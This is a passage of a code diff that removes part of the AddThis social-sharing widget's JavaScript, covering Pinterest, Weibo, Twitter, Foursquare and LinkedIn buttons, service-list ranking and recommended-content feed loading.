-                                                window.encodeURIComponent(_ate.util.rtoKV(r)) +
-                                                '&atc=' +
-                                                window.encodeURIComponent(_ate.util.rtoKV(addthis_config)) +
-                                                '&href=' +
-                                                Nt.du +
-                                                '&pubid=' +
-                                                Gt() +
-                                                '&cb=' +
-                                                _ate.cb +
-                                                '&ssid=' +
-                                                _ate.track.ssid() +
-                                                '&uid=' +
-                                                _ate.uid +
-                                                '&ab=' +
-                                                _ate.ab +
-                                                '&ufbl=' +
-                                                _ate.ufbl +
-                                                '&uud=' +
-                                                _ate.uud),
-                                            _ate.ed.addEventListener('addthis.pinterest.image', (t) => {
-                                                sn.addthis_share || (sn.addthis_share = {}),
-                                                    sn.addthis_share.passthrough || (sn.addthis_share.passthrough = {}),
-                                                    sn.addthis_share.passthrough.pinterest_share || (sn.addthis_share.passthrough.pinterest_share = {});
-                                                var n = sn.addthis_share.passthrough.pinterest_share;
-                                                (n.pi_media = o.media), (n.pi_media_desc = o.description), B('pinterest_share', e(i, o));
-                                            });
-                                    } else
-                                        n && n.conf && n.conf.product && 'scopl-300' === n.conf.product ?
-                                        Vt(t) :
-                                        (t.onclick = () => {
-                                            sn.addthis_share || (sn.addthis_share = {}),
-                                                sn.addthis_share.passthrough || (sn.addthis_share.passthrough = {}),
-                                                sn.addthis_share.passthrough.pinterest_share || (sn.addthis_share.passthrough.pinterest_share = {});
-                                            var t = sn.addthis_share.passthrough.pinterest_share;
-                                            return (t.pi_media = o.media), (t.pi_media_desc = o.description), B('pinterest_share', e(i, o)), !1;
-                                        });
-                                    t.noh = t.ost = 1;
-                                }
-                            }
-                            document;
-                            (_ate.share = _ate.share || {}),
-                            _ate.share.register({
-                                    pinterest: t,
-                                    pinterest_count: t,
-                                    pinterest_pinit: t
-                                }),
-                                _ate.share.registerListeners({
-                                    pinterest_share: {
-                                        onclick(t) {
-                                            var n = t.el;
-                                            var a = Tt(n, 'pi:pinit');
-                                            var i = e(n.share || sn.addthis_share, a);
-                                            B('pinterest_share', i), P(t);
-                                        }
-                                    }
-                                });
-                        })(),
-                        (() => {
-                            function e(e, o, r) {
-                                if (!e.ost) {
-                                    var s =
-                                        (_ate.util.clone(o.share), {
-                                            type: 'webpage',
-                                            url: o.share.url,
-                                            title: o.share.title,
-                                            style: 'number'
-                                        });
-                                    var d = Tt(e, 'wb:like');
-                                    var u = t();
-                                    var c = a(d, u);
-                                    var l = a(s, u);
-                                    (meta_tags = _ate.util.extend(l, c)),
-                                    (wb_elem = i.createElement('wb:like')),
-                                    _ate.bro.ie6 || _ate.bro.ie7 || _ate.bro.ie8 || (_ate.bro.msi && 'BackCompat' === document.compatMode) ?
-                                        e.parentNode.insertBefore(wb_elem, e.nextSibling) :
-                                        e.appendChild(wb_elem),
-                                        n(wb_elem, meta_tags),
-                                        _ate.ajs('//tjs.sjs.sinajs.cn/open/api/js/wb.js', 1),
-                                        o.conf.pubid || (o.conf.pubid = addthis_config.pubid || _ate.pub()),
-                                        (e.onclick = () => {
-                                            _ate.share.track('sinaweibo_like', 0, o.share, o.conf);
-                                        }),
-                                        (e.noh = e.ost = 1);
-                                }
-                            }
-                            function t() {
-                                for (var e, t, n, a, o = i.getElementsByTagName('meta'), r = {}, s = 0; s < o.length; s++)
-                                    (a = o[s]),
-                                    (e = a.getAttribute('property')),
-                                    (t = a.getAttribute('name')),
-                                    (n = a.getAttribute('content')),
-                                    e && e.indexOf('og:') !== -1 && n ?
-                                    (r[e.replace('og:', '')] = n) :
-                                    e && e.indexOf('weibo:', '') !== -1 && n ?
-                                    (r[e.replace('weibo:', '')] = n) :
-                                    t && t.indexOf('weibo:') !== -1 && n && (r[t.replace('weibo:', '')] = n);
-                                return r;
-                            }
-                            function n(e, t) {
-                                var n;
-                                var a;
-                                var i;
-                                for (var a in t)
-                                    t.hasOwnProperty(a) &&
-                                    ((n = t[a]),
-                                        n &&
-                                        ('style' === a && 'full' !== n ?
-                                            e.setAttribute('type', n) :
-                                            'skin' === a || 'language' === a ?
-                                            e.setAttribute(a, n) :
-                                            ((i = document.createElement('meta')),
-                                                i.setAttribute('name', 'weibo:' + a),
-                                                i.setAttribute('content', n),
-                                                document.getElementsByTagName('head')[0].appendChild(i))));
-                            }
-                            function a(e, t) {
-                                var n;
-                                var a = {};
-                                for (n in e) e.hasOwnProperty(n) && t[n] === O && (a[n] = e[n]);
-                                return a;
-                            }
-                            var i = document;
-                            (_ate.share = _ate.share || {}),
-                            _ate.share.register({
-                                    sinaweibo_like: e
-                                }),
-                                (_ate.share.sinaweibo = {
-                                    like: e
-                                });
-                        })(),
-                        (() => {
-                            function e() {
-                                return window.twttr && window.twttr.events;
-                            }
-                            function t() {
-                                if (window.twttr && !s && window.twttr.events) {
-                                    s = 1;
-                                    var e = (e) => {
-                                        var t;
-                                        var n = e.target.parentNode && e.target.parentNode.share ? e.target.parentNode.share : {};
-                                        var a = n.url || e.target.baseURI;
-                                        var i = n.title || addthis_share.title;
-                                        var o = {};
-                                        for (t in addthis_share) o[t] = addthis_share[t];
-                                        for (t in n) o[t] = n[t];
-                                        return (o.url = a), i && (o.title = i), o;
-                                    };
-                                    window.twttr.events.bind('tweet', (t) => {
-                                            _ate.share.track('tweet', 0, e(t), addthis_config);
-                                        }),
-                                        window.twttr.events.bind('follow', (t) => {
-                                            _ate.share.track('twitter_follow_native', 1, e(t), addthis_config);
-                                        });
-                                }
-                            }
-                            function n() {
-                                return e() && 1 === r ?
-                                    (t(), void(r = d = 0)) :
-                                    (r || (_ate.ajs('//platform.twitter.com/widgets.js', 1, null, null, null, !0), (r = 1)),
-                                        void(d < 3 && setTimeout(n, 3e3 + 2e3 * d++)));
-                            }
-                            function a(e, t, a) {
-                                if (!e.ost) {
-                                    var i;
-                                    var r;
-                                    var s = Tt(e, 'tw');
-                                    var d = t.share;
-                                    var u = s.width || 61;
-                                    var c = s.height || 25;
-                                    var l = '';
-                                    (t.share.url_transforms = t.share.url_transforms || {}), (t.share.url_transforms.defrag = 1);
-                                    var f = _ate.util.clone(t.share);
-                                    var p =
-                                        (_ate.bro.msi && 'BackCompat' === o.compatMode) ||
-                                        t.conf.ui_use_tweet_iframe ||
-                                        'bitly' === (t.share.url_transforms.shorten || {}).twitter;
-                                    'undefined' != typeof s.url ?
-                                        (f.url = s.url) :
-                                        (f.url = s.url = _ate.track.mgu(f.url || (addthis_share || {}).url, f.url_transforms, f, 'twitter')),
-                                        s.counturl || (s.counturl = p ? s.url.replace(/=/g, '%253D') : s.url),
-                                        f.url.search(/\.+.*(\/|\?)/) === -1 && (f.url += '/'),
-                                        (s.url = _ate.share.acb('twitter', f, addthis_config)),
-                                        (s.count = s.count || 'horizontal'),
-                                        (d.passthrough = d.passthrough || {});
-                                    var h = d.passthrough.twitter || {};
-                                    if (
-                                        ((t.text = s.text = s.text || (t.share.title === Nt.title ? h.text : t.share.title) || ''),
-                                            (t.related = s.related = s.related || h.related || ''),
-                                            (t.hashtags = s.hashtags = s.hashtags || h.hashtags || ''),
-                                            (s.via || h.via || t.text.match(/via\s+@[a-zA-Z0-9_\.]+/i)) &&
-                                            (t.via = s.via =
-                                                s.via ||
-                                                h.via ||
-                                                (t.text.match(/via\s+@[a-zA-Z0-9_\.]+/i) ? t.text.match(/via\s+@[a-zA-Z0-9_\.]+/i).split('@')[1] : '')),
-                                            (l = _ate.util.rtoKV(d, '#@!')),
-                                            'vertical' === s.count ?
-                                            ((c = 23), (s.height = s.height || c)) :
-                                            'horizontal' === s.count && ((u = 62), (s.width = s.width || u)),
-                                            s.width && (u = s.width),
-                                            s.height && (c = s.height),
-                                            (i = _ate.util.toKV(s, '#@!')),
-                                            p)
-                                    ) {
-                                        var m =
-                                            '<iframe  style="-webkit-transform:scale(0.7);-moz-transform-scale(0.7);title="AddThis | Twitter" frameborder="0" role="presentation" scrolling="no"  scrollbars="no"' +
-                                            (_ate.bro.ie6 ? ' src="javascript:\'\'"' : '') +
-                                            ' style="width:' +
-                                            u +
-                                            'px; height:' +
-                                            c +
-                                            'px;"></iframe>';
-                                        Ht(e, m, 'tweet_iframe_widget', c + 'px', u + 'px'),
-                                            (r = e.firstChild.firstChild.firstChild),
-                                            t.conf.pubid || (t.conf.pubid = addthis_config.pubid || _ate.pub()),
-                                            (r.src =
-                                                _atc.rsrcs.tweet +
-                                                '#href=' +
-                                                window.encodeURIComponent(s.url) +
-                                                '&dr=' +
-                                                window.encodeURIComponent(_ate.dr) +
-                                                '&conf=' +
-                                                window.encodeURIComponent(_ate.util.toKV(t.conf)) +
-                                                '&share=' +
-                                                window.encodeURIComponent(l) +
-                                                '&tw=' +
-                                                window.encodeURIComponent(i));
-                                    } else {
-                                        s.text || (s.text = (d.title || '') + ':');
-                                        var g = o.ce('a');
-                                        (g.href = 'http://twitter.com/share'), (g.className = 'twitter-share-button'), (g.innerHTML = 'Tweet');
-                                        for (var _ in s) s.hasOwnProperty(_) && g.setAttribute('data-' + _, s[_]);
-                                        Ht(e, g, 'tweet_iframe_widget', c + 'px', u + 'px'),
-                                            t.conf.pubid || (t.conf.pubid = addthis_config.pubid || _ate.pub()),
-                                            n(e);
-                                    }
-                                    e.noh = e.ost = 1;
-                                }
-                            }
-                            function i(e, t) {
-                                var a = Tt(e, 'tf');
-                                var i = Tt(e, 'tw');
-                                var o = document.ce('a');
-                                (a.screen_name = i.screen_name || a.screen_name || 'addthis'),
-                                (o.href = 'http://twitter.com/' + a.screen_name),
-                                (o.className = 'twitter-follow-button'),
-                                (o.innerHTML = 'Follow @' + a.screen_name);
-                                for (var r in a) a.hasOwnProperty(r) && o.setAttribute('data-' + r, a[r]);
-                                for (var r in i) i.hasOwnProperty(r) && o.setAttribute('data-' + r, i[r]);
-                                (e.ost = 1), e.appendChild(o), t.conf.pubid || (t.conf.pubid = addthis_config.pubid || _ate.pub()), n(e);
-                            }
-                            var o = document;
-                            var r = 0;
-                            var s = 0;
-                            var d = 0;
-                            (_ate.share = _ate.share || {}),
-                            _ate.share.register({
-                                    tweet: a,
-                                    twitter_follow_native: i
-                                }),
-                                _ate.share.registerSubscriber(t),
-                                _ate.share.registerListeners({
-                                    twitter: {
-                                        _after(e) {
-                                            (e.ins = 1), (e.noh = 1);
-                                        },
-                                        onclick(e) {
-                                            var t = e.el;
-                                            return _ate.share.pts(t.share, t.conf);
-                                        }
-                                    }
-                                }),
-                                (_ate.share.twitter = {
-                                    tweet: a,
-                                    follow: i,
-                                    sub: t
-                                });
-                        })(),
-                        (() => {
-                            function e(e, t) {
-                                if (!e.ost) {
-                                    var n = Tt(e, '4sq');
-                                    var a = document.createElement('a');
-                                    (a.href = 'https://foursquare.com/intent/venue.html'),
-                                    (a.className = 'fourSq-widget'),
-                                    n['data-variant'] && a.setAttribute('data-variant', n['data-variant']),
-                                        Ht(e, a, 'foursquare_badge_wrapper_widget', t.height),
-                                        _ate.ajs('//platform.foursquare.com/js/widgets.js', 1),
-                                        (window.___fourSq = {
-                                            secure: !0
-                                        }),
-                                        (e.noh = e.ost = 1);
-                                }
-                            }
-                            function t(e, t) {
-                                if (!e.ost) {
-                                    var n;
-                                    var a;
-                                    var i = Tt(e, 'li');
-                                    var o = t.share;
-                                    var r = i.width || 57;
-                                    var s = i.height || 25;
-                                    var d = '';
-                                    o.passthrough || (o.passthrough = {}),
-                                        (o.passthrough.linkedin = _ate.util.toKV(i)),
-                                        o.title && (o.title = window.encodeURIComponent(o.title)),
-                                        (d = _ate.util.rtoKV(o)),
-                                        i.width && (r = i.width),
-                                        i.height && (s = i.height),
-                                        (n = _ate.util.toKV(i));
-                                    var u =
-                                        '<iframe  style="-webkit-transform:scale(0.7);-moz-transform-scale(0.7);title="AddThis | LinkedIn Button" frameborder="0" role="presentation" scrolling="no"  scrollbars="no"' +
-                                        (_ate.bro.ie6 ? ' src="javascript:\'\'"' : '') +
-                                        ' style="width:' +
-                                        r +
-                                        'px; height:' +
-                                        s +
-                                        'px;"></iframe>';
-                                    Ht(e, u, 'linkedin_counter_iframe_widget', s + 'px', r + 'px'),
-                                        (a = e.firstChild.firstChild.firstChild),
-                                        t.conf.pubid || (t.conf.pubid = addthis_config.pubid || _ate.pub()),
-                                        (a.src =
-                                            _atc.rsrcs.linkedin +
-                                            (_ate.bro.ie6 || _ate.bro.ie7 ? '?' : '#') +
-                                            'href=' +
-                                            window.encodeURIComponent(t.share.url) +
-                                            '&dr=' +
-                                            window.encodeURIComponent(_ate.dr) +
-                                            '&conf=' +
-                                            window.encodeURIComponent(_ate.util.toKV(t.conf)) +
-                                            '&share=' +
-                                            window.encodeURIComponent(d) +
-                                            '&li=' +
-                                            window.encodeURIComponent(n)),
-                                        (e.noh = e.ost = 1);
-                                }
-                            }
-                            (_ate.share = _ate.share || {}),
-                            _ate.share.register({
-                                    foursquare: e,
-                                    linkedin_counter: t
-                                }),
-                                _ate.share.registerListeners({
-                                    more: {
-                                        require(e, t, n) {
-                                            return !(t.noh || _ate.bro.iph || _ate.bro.wph || _ate.bro.dro);
-                                        },
-                                        onclick(e) {
-                                            var t = e.el || {};
-                                            return nn() ? jt(At('more', 0, t.share, t.conf), '_blank') : (It(), window.addthis.menu(t, t.conf, t.share), !1);
-                                        }
-                                    },
-                                    email: {
-                                        require(e, t, n) {
-                                            return !(t.noh || _ate.bro.iph || _ate.bro.wph || _ate.bro.dro);
-                                        },
-                                        onclick(e) {
-                                            var t = (n(488), e.el || {});
-                                            var a = e.service;
-                                            var i = _ate.util.clone(t.conf);
-                                            return (i.ui_pane = a), B(a, t.share), !1;
-                                        }
-                                    },
-                                    foursquare: {
-                                        onclick(e) {
-                                            var t = e.el || {};
-                                            var n = e.service;
-                                            return _ate.share.track(n, 1, t.share, t.conf), !1;
-                                        }
-                                    }
-                                });
-                        })(),
-                        (() => {
-                            function e(e) {
-                                var t = new Array();
-                                e: for (var n = 0; n < e.length; n++) {
-                                    for (var a = 0; a < t.length; a++)
-                                        if (t[a] === e[n]) continue e;
-                                    t[t.length] = e[n];
-                                }
-                                return t;
-                            }
-                            function t() {
-                                if (!u) {
-                                    u = {};
-                                    for (var e in Jt.map) Jt.map.hasOwnProperty(e) && (u[_ate.mun(e)] = e);
-                                }
-                            }
-                            function n() {
-                                return (
-                                    c ||
-                                    ((c = (_ate.dr || '').split('://').pop().split('/').shift().split('?').shift()),
-                                        (c = $t(c)),
-                                        (c = c || (_ate.smd || {}).rsc || '')),
-                                    c
-                                );
-                            }
-                            function a(e, t) {
-                                return e.timestamp > t.timestamp ? -1 : 1;
-                            }
-                            function i(e, t, n) {
-                                return n || (n = window), (n[e] !== O && '' !== n[e]) || (n[e] = t), n[e];
-                            }
-                            function o(e) {
-                                t();
-                                var i;
-                                var o;
-                                var r = n();
-                                var s = (() => {
-                                    for (var e, t = _ate.cookie.ssc.getServices(), n = _ate.ups || {}, a = 0; a < t.length; a++)
-                                        (e = t[a].name), n[e] || (n[e] = e);
-                                    return n;
-                                })();
-                                var d = 0;
-                                var c = 0;
-                                for (l = [], i = 0; i < e.length; i++)
-                                    (o = e[i]),
-                                    (Jt.map[o] !== O || (o.indexOf('facebook_') > -1 && Jt.map.facebook !== O)) && d++,
-                                    r === o && (c = 1),
-                                    s[o] && delete s[o];
-                                var p = Object.keys(s)
-                                    .map((e) => s[e])
-                                    .sort(a);
-                                for (i = 0; i < p.length; i++)
-                                    (o = p[i].name),
-                                    u[o] &&
-                                    ((o = u[o]),
-                                        d++,
-                                        l.push(o),
-                                        e.push(o),
-                                        window.addthis_ssh ? addthis_ssh.indexOf(o) === -1 && (addthis_ssh += ',' + o) : (window.addthis_ssh = o),
-                                        r === o && (c = 1));
-                                return (
-                                    (l = l.join(',')),
-                                    c || Jt.map[r] === O || (d++, e.push(r), (addthis_ssh = (window.addthis_ssh ? addthis_ssh + ',' : '') + r), (f = r)),
-                                    d
-                                );
-                            }
-                            function r(e) {
-                                i('addthis_exclude', ''), i('addthis_use_personalization', !0), i('services_exclude', window.addthis_exclude, e);
-                            }
-                            function s(n, a) {
-                                if (n === d)
-                                    return {
-                                        conf: n,
-                                        csl: l,
-                                        crs: f
-                                    };
-                                d = n;
-                                var s = window.addthis_ssh ? addthis_ssh.replace(/(^more,)|(^more$)|(,more,)|(,more$)/, '').split(',') : [];
-                                var u = D.getPopServices();
-                                var c = 0;
-                                if (
-                                    (r(n),
-                                        (n.services_exclude = n.services_exclude.replace(/\s/g, '')),
-                                        J(n),
-                                        n.services_exclude_natural || (n.services_exclude_natural = n.services_exclude),
-                                        (n || {}).parentServices &&
-                                        Object.keys(n.parentServices).forEach((e) => {
-                                            n.services_exclude += (n.services_exclude.length > 1 ? ',' : '') + e;
-                                        }),
-                                        a || (a = []),
-                                        i('addthis_options_default', u.split(',').slice(0, 11).join(',') + ',more'),
-                                        i('addthis_options_rank', u),
-                                        i('addthis_options', window.addthis_options_default),
-                                        t(),
-                                        (c = o(s)),
-                                        (addthis_options = ('' != s ? s + ',' : '') + addthis_options),
-                                        s &&
-                                        ((addthis_options && addthis_options.indexOf(s) === -1) || (n.services_compact && n.services_compact.indexOf(s) === -1)) &&
-                                        (n.services_compact = n.services_compact ? n.services_compact + ',' + s : addthis_options),
-                                        (addthis_options = e(addthis_options.split(',')).join(',')),
-                                        n.services_compact && (n.services_compact = e(n.services_compact.split(',')).join(',')),
-                                        (window.addthis_ssh && window.addthis_use_personalization && c) || a.length || n.services_exclude || addthis_exclude)
-                                ) {
-                                    var h;
-                                    var m;
-                                    var g = addthis_options_rank.split(',');
-                                    var _ = [];
-                                    var v = (n.services_exclude || addthis_exclude || '').split(',');
-                                    var b = {};
-                                    var w = s.join(',');
-                                    var x = [];
-                                    var y = {};
-                                    var k = 0;
-                                    var C = 11;
-                                    var M = 0;
-                                    var A = n.product || '';
-                                    var E = A.indexOf('ffext') > -1 || A.indexOf('fxe') > -1;
-                                    for (
-                                        a.length && addthis_options.indexOf(a[0].code) === -1 && (addthis_options += ',' + a[0].code),
-                                        a.length && a[0] && _.push(a[0].code),
-                                        T = 0; T < v.length; T++
-                                    )
-                                        (b[v[T]] = 1),
-                                        (m = p[v[T]] || new RegExp('(?:^|,)(' + v[T] + ')(?:$|,)')),
-                                        (p[v[T]] = m),
-                                        (addthis_options = addthis_options.replace(m, ',').replace(',,', ',')),
-                                        n.services_compact && (n.services_compact = n.services_compact.replace(m, ',').replace(',,', ','));
-                                    for (T = 0; T < g.length; T++)
-                                        (h = g[T]), b[h] || ((m = p[h] || new RegExp('(?:^|,)(' + h + ')(?:$|,)')), (p[h] = m), w.search(m) === -1 && _.unshift(h));
-                                    for (T = 0; T < s.length && T < C; T++)
-                                        (h = s[T]), (m = p[h] || new RegExp('(?:^|,)(' + h + ')(?:$|,)')), (p[h] = m), addthis_options.search(m) > -1 && k++;
-                                    for (T = 0; T < s.length && !(x.length >= C); T++)
-                                        (h = s[T]),
-                                        y[h] ||
-                                        b[h] ||
-                                        !(Jt.map[h] !== O || h.indexOf('facebook_') > -1) ||
-                                        ((y[h] = 1),
-                                            (m = p[h] || new RegExp('(?:^|,)(' + h + ')(?:$|,)')),
-                                            (p[h] = m),
-                                            addthis_options.search(m) > -1 ?
-                                            (x.push(h), (addthis_options = addthis_options.replace(m, ',').replace(',,', ',')), M++) :
-                                            x.push(h));
-                                    for (
-                                        addthis_ssh = x.join(','),
-                                        addthis_options =
-                                        (window.addthis_ssh ? addthis_ssh + ',' : '') +
-                                        addthis_options
-                                        .replace(/[,]+/g, ',')
-                                        .replace(/,$/, '')
-                                        .replace(/^,/, '')
-                                        .replace(/^more,|,more|^more$/, ''),
-                                        addthis_options.indexOf('email') > -1 &&
-                                        '' === _ate.pub() &&
-                                        !E &&
-                                        (addthis_options = addthis_options.replace(/^email,|,email|^email$/, '')); addthis_options.split(',').length > 11;
-                                    )
-                                        addthis_options = addthis_options.split(',').slice(0, -1).join(',');
-                                    var S = _ate.util.fromKV(addthis_options.replace(/,|$/g, '=1&'));
-                                    var I = addthis_options.split(',').length;
-                                    if (I % 2 === 0 || I < 11)
-                                        for (var T = Math.min(I, 11), j = u.split(','), N = I;
-                                            (N < 11 || N % 2 === 0) && T < j.length;) {
-                                            var R = j[T++];
-                                            if (S[R]) {
-                                                if (T === j.length) {
-                                                    I + ((Math.min(I, 11) - N) % 2) === 0 && (addthis_options = addthis_options.split(',').slice(0, -1).join(','));
-                                                    break;
-                                                }
-                                            } else b[R] || ((addthis_options += ',' + R), (S[R] = 1), N++);
-                                        }
-                                    if (a.length && a[0] && addthis_options.indexOf(a[0].code) === -1) {
-                                        var L = addthis_options.replace(',more', '').split(',').pop();
-                                        addthis_options = addthis_options.replace(L, a[0].code);
-                                    }
-                                    addthis_options.indexOf(',more') === -1 && (addthis_options += ',more');
-                                }
-                                return (
-                                    n.services_compact || (n.services_compact = addthis_options), {
-                                        conf: n,
-                                        csl: l,
-                                        crs: f
-                                    }
-                                );
-                            }
-                            var d;
-                            var u;
-                            var c;
-                            var l;
-                            var f;
-                            var p = {};
-                            (_ate.share = _ate.share || {}), (_ate.share.services = _ate.share.services || {}), (_ate.share.services.init = s);
-                        })(),
-                        (() => {
-                            function e(e) {
-                                var t = this;
-                                var n = e || {};
-                                if (e instanceof Array) {
-                                    n = {};
-                                    for (var a = 0; a < e.length; a++) n[e[a]] = e[a];
-                                }
-                                (t.add = (e, a) => {
-                                    if ('object' == typeof e)
-                                        for (var i in e) e.hasOwnProperty(i) && t.add(i, e[i]);
-                                    else n[e] = a;
-                                }),
-                                (t.get = (e) => n[e]),
-                                (t.has = (e) => {
-                                    if (('string' == typeof e && (e = e.split(',')), 0 === e.length)) return !1;
-                                    for (var t = 0; t < e.length; t++)
-                                        if (!iskey(e[t])) return !1;
-                                    return !0;
-                                }),
-                                (t.iskey = (e) => {
-                                    if (('string' == typeof e && (e = e.split(',')), e instanceof Array))
-                                        for (var t = 0; t < e.length; t++) {
-                                            var a = e[t].replace(/ /g, '');
-                                            if (n[a]) return 1;
-                                        }
-                                    return 0;
-                                }),
-                                (t.remove = function(e) {
-                                    for (var t, a = 0; a < arguments.length; a++)
-                                        if (((t = arguments[a]), 'string' == typeof e)) delete n[t];
-                                        else if (t.length)
-                                        for (var i = 0; i < t.length; i++) delete n[t[i]];
-                                }),
-                                (t.has = (e) => n.hasOwnProperty(e)),
-                                (t.isEmpty = () => {
-                                    for (var e in n)
-                                        if (n.hasOwnProperty(e)) return !0;
-                                    return !1;
-                                }),
-                                (t.keys = () => Object.keys(n)),
-                                (t.clear = () => {
-                                    n = {};
-                                });
-                            }
-                            _ate.data || (_ate.data = {}), (_ate.data.Set = e);
-                        })(),
-                        (() => {
-                            function e() {}
-                            function t() {}
-                            function n(e) {}
-                            function a() {
-                                return !0;
-                            }
-                            function i(e) {
-                                try {
-                                    if (!e || !e.url) return !1;
-                                    var t = Nt.du.split('#').shift().replace(/\/$/, '');
-                                    var n = e.url.split('#').shift().replace(/\/$/, '');
-                                    return t === n || (!e.promoted && (b[e.url] !== _ ? b[e.url] : ((b[e.url] = _ate.track.hist.seenBefore(e.url)), b[e.url])));
-                                } catch (e) {}
-                                return !1;
-                            }
-                            function o(e) {
-                                function t() {
-                                    var t = 0;
-                                    var a = [];
-                                    if ((r--, 0 === r)) {
-                                        for (; t < d.length;)(a = a.concat(d[t])), t++;
-                                        if (0 === a.length) return g === w ? void 0 : ((v = !1), l(w), void o(e));
-                                        for (
-                                            a = _ate.util.filter(a, (e, t) => !i(t)),
-                                            c = _ate.util.filter(c, (e, t, n) => t.features.length),
-                                            c.length ||
-                                            (c = [{
-                                                features: [],
-                                                name: 'no-vector',
-                                                weight: 1
-                                            }]),
-                                            t = 0; t < c.length; t++
-                                        )
-                                            a = s(a, c[t]);
-                                        e.callback(u(n(a), e));
-                                    }
-                                }
-                                function n(e) {
-                                    if (((e = e || []), e.length && _ate.uls && window.JSON)) {
-                                        if ((_ = localStorage.getItem(a))) {
-                                            try {
-                                                _ = JSON.parse(_);
-                                            } catch (e) {}
-                                            _.o ?
-                                                ((b = _.o % 10), (_.o = b + 2)) :
-                                                (_ = {
-                                                    o: 2
-                                                });
-                                        } else
-                                            _ = {
-                                                o: 2
-                                            };
-                                        if (b > 0)
-                                            for (; b-- > 0;) arguments[0].push(arguments[0].shift());
-                                        localStorage.setItem(a, JSON.stringify(_));
-                                    }
-                                    return e;
-                                }
-                                var a;
-                                var r = 0;
-                                var d = [];
-                                var c = [];
-                                var f = _ate.util.gUD(window.addthis_domain || e.domain || window.location.host);
-                                var p = e.pubid || _ate.pub();
-                                var _ = !1;
-                                var b = 0;
-                                p &&
-                                    (g || l(w),
-                                        T.get() || ((v = !1), l(w)),
-                                        (a = '__feed_' + p + '_' + g.name),
-                                        g.feed.forEach((e) => {
-                                            r++,
-                                            h(
-                                                e, {
-                                                    pubid: p,
-                                                    domain: f
-                                                },
-                                                (e, n) => (e ? t() : (d.push(n), void t()))
-                                            );
-                                        }),
-                                        g.vector.forEach((e) => {
-                                            r++,
-                                            m(
-                                                e, {
-                                                    pubid: p,
-                                                    domain: f
-                                                },
-                                                (e, n) => (e ? t() : (c.push(n), void t()))
-                                            );
-                                        }));
-                            }
-                            function r(e) {
-                                return ((e || {}).pvector || {}).features || {};
-                            }
-                            function s(e, t, n) {
-                                var a;
-                                var i;
-                                var o;
-                                var s;
-                                var d = new _ate.data.Set();
-                                var u = 0;
-                                var c = [];
-                                if (n) {
-                                    if (!(n instanceof Function)) throw new Error('Matchrule should be a function, got ' + n);
-                                } else n = r;
-                                return (
-                                    (t.features || []).forEach((e) => {
-                                        d.add(e.name, e.weight);
-                                    }),
-                                    e.forEach((e) => {
-                                        var t = _ate.share.links.canonical;
-                                        if (((u = 0), (i = e.url || ''), (o = i.split('#').shift()), !t || t.indexOf(o) + o.length !== t.length)) {
-                                            s = n(e);
-                                            for (var r in s)
-                                                if (s.hasOwnProperty(r)) {
-                                                    var l = s[r];
-                                                    (a = d.get(l.name)), a !== _ && (u += a + l.weight);
-                                                }
-                                                (e.score = u), (i.score = u), c.push(e);
-                                        }
-                                    }),
-                                    t.features.length > 0 && c.sort((e, t) => t.score - e.score),
-                                    c
-                                );
-                            }
-                            function d(e) {
-                                return (
-                                    (e.ab = e.ab || _ate.ab),
-                                    (e.bt = e.bt || T.get()),
-                                    (t) => {
-                                        for (var n in t) t.hasOwnProperty(n) && (e[n] = t[n]);
-                                        return c(e);
-                                    }
-                                );
-                            }
-                            function u(e, t, n) {
-                                (n && 'function' == typeof n) || (n = c), t.total || (t.total = e.length);
-                                var a = 0;
-                                return (
-                                    e.forEach((e) => {
-                                        (t.pos = a++), (t.url = e.url), (e.url = n(t)), (e.title = e.title || '');
-                                    }),
-                                    e
-                                );
-                            }
-                            function c(e) {
-                                var t = e.url;
-                                var n = e.pco;
-                                var a = e.total;
-                                var i = e.pos;
-                                var o = e.ab || '-';
-                                return (
-                                    t &&
-                                    t.indexOf('at_pco') > -1 &&
-                                    ((t = n ? t.replace(/at_pco=(.*)&/, 'at_pco=' + n + '&') : t),
-                                        t.indexOf('at_ab') > -1 ?
-                                        '-' !== o && (t = t.replace(/at_ab=(.*)&/, 'at_ab=' + o + '&')) :
-                                        (t += '&at_ab=' + (e.ab || _ate.ab)),
-                                        t.indexOf('at_pos') > -1 ? i !== _ && (t = t.replace(/at_pos=([0-9]+)/, 'at_pos=' + i)) : (t += '&at_pos=' + (i || 0)),
-                                        t.indexOf('at_tot') > -1 ? a !== _ && (t = t.replace(/at_tot=([0-9]+)/, 'at_tot=' + a)) : (t += '&at_tot=' + (a || 0)),
-                                        t.indexOf('si=') === -1 && (t += '&at_si=' + _ate.sid)),
-                                    t
-                                );
-                            }
-                            function l(e) {
-                                return !(!e || !e instanceof Object) && !v && ((v = !0), (g = e), void(_ate.ab = g.name));
-                            }
-                            function f() {
-                                return _ate.ab.name;
-                            }
-                            function p(e, t, n) {
-                                var a;
-                                var i;
-                                var o;
-                                var r;
-                                var s;
-                                var d = _ate.pub();
-                                var u = !1;
-                                var c = !0;
-                                var l = '';
-                                if (((t = t || {}), (o = t.query || {}), (r = parseInt(t.timeout, 10) || 4500), (i = t.uid), !i))
-                                    throw new Error('No uid provided');
-                                for (s in o)
-                                    o.hasOwnProperty(s) &&
-                                    o[s] !== _ &&
-                                    (c ? (c = !1) : (l += '&'), (l += window.encodeURIComponent(s) + '=' + window.encodeURIComponent(o[s])));
-                                c ? (c = !1) : (l += '&'),
-                                    T.onReady(() => {
-                                        (a = setTimeout(() => {
-                                            n(new Error('Timed out'), null), (u = !0);
-                                        }, r)),
-                                        (l +=
-                                            'callback=' +
-                                            _ate.util.scb('fds', d + i, function(e) {
-                                                var t = Array.prototype.slice.call(arguments, 0);
-                                                u || (t.unshift(null), n.apply(this, t), (u = !0), clearTimeout(a));
-                                            })),
-                                        _ate.ajs(e + '?' + l, 1, !0, !0, null, !0);
-                                    });
-                            }
-                            function h(e, t, n) {
-                                var a;
-                                var i = {};
-                                var o = e.indexOf('view') > -1;
-                                if (((t = t || {}), (t.pubid = t.pubid || _ate.pub()), !e)) throw new Error('No feed provided');
-                                e.indexOf('.json') < 0 && (e += '.json'),
-                                    (a = 'https://q.addthis.com/feeds/1.0/' + e),
-                                    (i.query = {
-                                        pubid: t.pubid || _,
-                                        domain: t.domain || _,
-                                        limit: o ? '50' : _
-                                    }),
-                                    (i.uid = e),
-                                    p(a, i, n);
-                            }
-                            function m(e, t, n) {
-                                var a;
-                                var i = {};
-                                if (((t = t || {}), (t.pubid = t.pubid || _ate.pub()), !e)) throw new Error('No vector provided');
-                                e.indexOf('.json') < 0 && (e += '.json'),
-                                    (a = 'https://q.addthis.com/feeds/1.0/' + e),
-                                    (i.query = {
-                                        pubid: t.pubid || _
-                                    }),
-                                    (i.uid = e),
